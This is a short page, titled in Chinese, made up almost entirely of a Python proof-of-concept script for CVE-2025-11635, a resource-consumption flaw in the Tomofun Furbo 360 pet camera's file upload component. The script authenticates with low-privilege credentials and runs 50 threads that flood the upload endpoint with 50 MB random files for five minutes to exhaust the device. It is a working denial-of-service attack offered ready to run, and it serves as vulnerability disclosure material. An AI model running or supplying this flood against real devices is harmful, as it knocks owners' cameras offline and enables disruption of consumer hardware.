CVE-2025-11635 Tomofun Furbo 360文件上传资源消耗漏洞

# CVE-2025-11635 - Tomofun Furbo 360 File Upload Resource Consumption PoC # This PoC demonstrates resource exhaustion via the file upload component # Author: Security Researcher # Target: Tomofun Furbo 360 (firmware <= FB0035_FW_036) import requests import threading import time import os TARGET_URL = "http://<target_ip>/upload" # Replace with actual upload endpoint USERNAME = "low_priv_user" PASSWORD = "password123" THREAD_COUNT = 50 DURATION = 300 # seconds def authenticate(): """Authenticate to the Furbo 360 device with low-privilege credentials""" session = requests.Session() login_data = {"username": USERNAME, "password": PASSWORD} try: resp = session.post(f"http://<target_ip>/login", data=login_data, timeout=10) if resp.status_code == 200: print("[+] Authentication successful") return session except Exception as e: print(f"[-] Auth error: {e}") return None def generate_large_payload(size_mb=100): """Generate a large dummy file to exhaust device resources""" payload_path = "/tmp/large_upload.bin" with open(payload_path, "wb") as f: f.write(os.urandom(size_mb * 1024 * 1024)) return payload_path def upload_flood(session, thread_id): """Continuously upload files to exhaust device resources""" payload = generate_large_payload(50) # 50MB payload end_time = time.time() + DURATION count = 0 while time.time() < end_time: try: with open(payload, "rb") as f: files = {"file": (f"upload_{thread_id}_{count}.bin", f, "application/octet-stream")} resp = session.post(TARGET_URL, files=files, timeout=30) count += 1 if count % 10 == 0: print(f"[Thread-{thread_id}] Uploaded {count} files") except Exception as e: print(f"[Thread-{thread_id}] Error: {e}") time.sleep(1) def main(): print("[*] CVE-2025-11635 PoC - Resource Consumption Attack") print("[*] Target: Tomofun Furbo 360") session = authenticate() if not session: print("[-] Failed to authenticate. Exiting.") return print(f"[+] Starting {THREAD_COUNT} upload threads...") threads = [] for i in range(THREAD_COUNT): t = threading.Thread(target=upload_flood, args=(session, i)) t.daemon = True t.start() threads.append(t) for t in threads: t.join() print("[*] Attack completed. Device resources should be exhausted.") if __name__ == "__main__": main()